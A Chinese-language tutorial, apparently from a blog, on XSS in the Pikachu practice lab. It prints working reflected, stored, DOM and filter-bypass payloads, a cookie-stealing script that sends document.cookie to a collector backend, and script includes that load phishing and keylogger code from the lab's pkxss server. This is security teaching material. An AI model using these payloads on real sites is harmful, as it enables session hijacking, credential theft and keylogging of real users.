上次网络安全教了个SQLI后,下一个就是我们XSS的脚步漏洞分析了。教程是按照视频所来:https://www.bilibili.com/video/BV1Bp4y1q7XF 练习的平台是 pikachu
课程目录:
一、漏洞概述与分析
1、漏洞概述
XSS的攻击流程(窃取cookie)
关于漏洞的常见类型:
形成原因:
测试流程:
环境介绍:
2、反射性XSS
当我们输入一个闭合的时候最终的输出结果是:
那如果你有学过 script 之类的语法的话,你可以尝试输入这些东西:(记得更改输入框的输入限制)
<script>alert('1')</script>
最终的话显示的内容就是:
那证明我们的 script 插入是成功的。
那反射型的 XSS 到底要怎么解释呢?比如说我们提交的表单链接:
http://127.0.0.1:88/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert%28%271%27%29%3C%2Fscript%3E&submit=submit
当你看见是一个熟悉的域名网站的时候你会点进进去,在访问这个地址的时候,实际上就是向后台传送一个恶意的Javascript的一个payload,然后返回回来 搞到自己了
二、两种形式的XSS漏洞和原理分析
1、存储型
存储型的XSS漏洞要如何理解呢?就是这种漏洞可以直接存储在服务器中,每次必将复现的。那我们代入pikachu中进行尝试:
在这个留言板中发送的东西都会一直报错着,那我如果将 JavaScript 的语法内容丢了进去,那就是永久性的保存了,直到网站管理员进行修复。
2、DOM型
在学习XSS DOM型漏洞前,我们要先了解一下什么是DOM?
可以看菜鸟教程:https://www.runoob.com/htmldom/htmldom-tutorial.html 那我们就开始来实践了:
那我们打开控制台 打开光标 点击“what do you see?”的时候你会发现这个内容:
那你估计会想到,我们DOM型的注入就是学习,那我们就开始对这个漏洞开始进行破解:
#' onclick="alert(111)">
那到底是怎么实践的,就是通过DOM的漏洞进行:
不难看见 这是一个 html 的基础语法,只是被我们通过闭合,各种拼接来强行插入的。同样的也是可以通过浏览器的链接,通过用户访问的介质来进行插入有害代码的:
三、XSS的危害
1、cookie的获取和XSS管理后台的运用
那我们在开始之前要了解一下网站是如何获取用户的cookie的?
那么问题来了,怎么来获得攻击者的后台呢?刚还 pikachu 刚好为我们提供了 pkxss 的一个攻击后台,只需要通过网站路径即可访问:
数据库创建好配置好 连接的第一个连接是:127.0.0.1:88/pkxss/pkxss_install.php(替换成自己的地址)
这样的话就可以进去 xss 后台了,对了记得修改访问地址后才可以进行访问。(修改路径\pikachu\pkxss\inc)登录进去后你会看见cookie的设置:
其实的话就是下面的:
这个代码登录后直接将信息传下来,就是这么一个逻辑。那我们就开始用 script 来制造一个闭合来进行插入吧:
<script>document.location = 'http://127.0.0.1:88/pkxss/xcookie/cookie.php?cookie=' + ducument.cookie;</script>
这个代码的意思就是 script 来访问这个地址的时候顺便把cookie 给带过去,那cookie 怎么获取呢,就是通过 ducument.cookie 来获取本地的cookie,形成了一个完整的 GET 请求。
这时候如果你看见下图的链接的话:
一般就是欺骗用户点击这个连接,攻击者就会成功的获取到用户的cookie信息。
2、钓鱼攻击
如你所见的话当你在访问一个网站进行登录的时候,一些网站如果用的是Basic验证的话,他所访问的 url 会携带 username password 这些信息。这时候我们作为一个钓鱼网站攻击的话就可以根据这些来获取用户信息。那插入点就是:
<script src="http://127.0.0.1:88/pkxss/xfish/fish.php"></script>
那我们来看 fish.php 内的代码吧:
画框框的部分就是检测有没有攻击者所要的username和password这些信息,如果没有就会发送三个header,第一个是编码,第二行就是会发送一个Basic的一个头部,第三个的话就是会返回一个 401 的响应码。
另外的话还有个 xfish.php 的文件,他其实就是获取远端传送来的账号密码然后存储下来。然后插入在pikachu中,就会出现这些内容:
这样的话就弹出了一个需要授权的验证,因为刚好丢在了存储型,每次点开这个页面的话就会弹出这个Basic页面,那如果你输入密码进去了,你的账号密码就会传送到攻击者后台了。
3、获取键盘记录原理和展示
我们先了解一下什么叫做跨域:
跨域-同源策略
为什么要有同源策略:
pkxss刚好也有这个获取键盘输入的这个网站,让我们看源代码:
源代码的就是就是获取到 POST 过来的所有信息,然后直接插进数据库里。
然后这个js文件的内容就是针对有xss漏洞的一些网站来获取用户键盘输入的信息,然后传送给攻击者的后台。
这个画起来的部分就是 JavaScript 获取用户输入的方法,然后转换成字符串再赋值给 xl,然后调用这个函数。将以下代码插入在pikachu中:
<script src="http://127.0.0.1:88/pkxss/rkeypress/rk.js"></script>
那如果你需要被跨域访问的话,你可以看以下代码:
在 header 参数中 你可以添加一个 * 就是代表着你这个网站允许被跨域访问,当然这没事,毕竟受害者是你。
然后在我们刚刚插入的 Javascript 来开始进行测试:
在开发者模式下你可以看见许多的 XHR,这些数据将传送到 pkxss 后台:
四、XSS盲打
1、原理
什么是XSS盲打?
2、实验
那我们如果运用在pikachu那是怎么样的呢?
打开盲打页面 我们随便输入一些信息,点击提交后,你会发现这个数据并不会在我们前端出现,因此这种说法叫做盲打,只有网站管理员能够看到我们这些消息。那我们随便注入 Javascript 的内容呢?随便丢个 alert进去就可以了:
当管理员登录网站后台的时候就会被弹。
五、XSS绕过
1、绕过思路
绕过-过滤-转换:
绕过的话我们前面有体现过这个东西,就是当你在输入东西到输入框的时候,不是限制20个字符吗?但是你F12操作一下,就绕过了这个限制。
核心思路:
给大家举个例子:
就是当你再复制URL的时候你会发现这个地址编码都变了,那你丢进网页执行的时候肯定是读取不出来的。
那我们开始代入到 pikachu 中。当我们往里面输入一些 Javascript 代码:
当你打开 F12 的时候你会发现这些东西都被过滤了:
那我们进行大小写呢?
你会发现他们无法对大小写进行过滤,直接弹出来了。然后看源码的话他只是对小写进行过滤而已:
以图片的形式也可以进行,所以XSS还是非常灵活的,就看我们对他的一个掌握情况了。
2、htmlspecialchars绕过演示
那什么是 htmlspecialchars 函数呢?
那代入 pikachu 中会有什么体现呢?:
当我们输入这些内容的时候,在后台你会发现都被过滤成其他字符了:
但是你会发现单引号没有被屏蔽,因此我们可以这么玩:
q' onclick='alert(11111)'
看源码的时候我们可以发现他实际上用的是该函数的一个默认方法并没有对单引号进行处理。
3、XSS防范措施
那我们可以构造一个闭合:
javascript:alert(111)
herf 其实就是一个超链接的语法。
那我们来看另一个 js:
那我们要构造一个闭合:
x'</script><script>alert('x')</script>
那我们可以看源代码的构造:
其实就是通过 script 来进行闭合形成的。解释: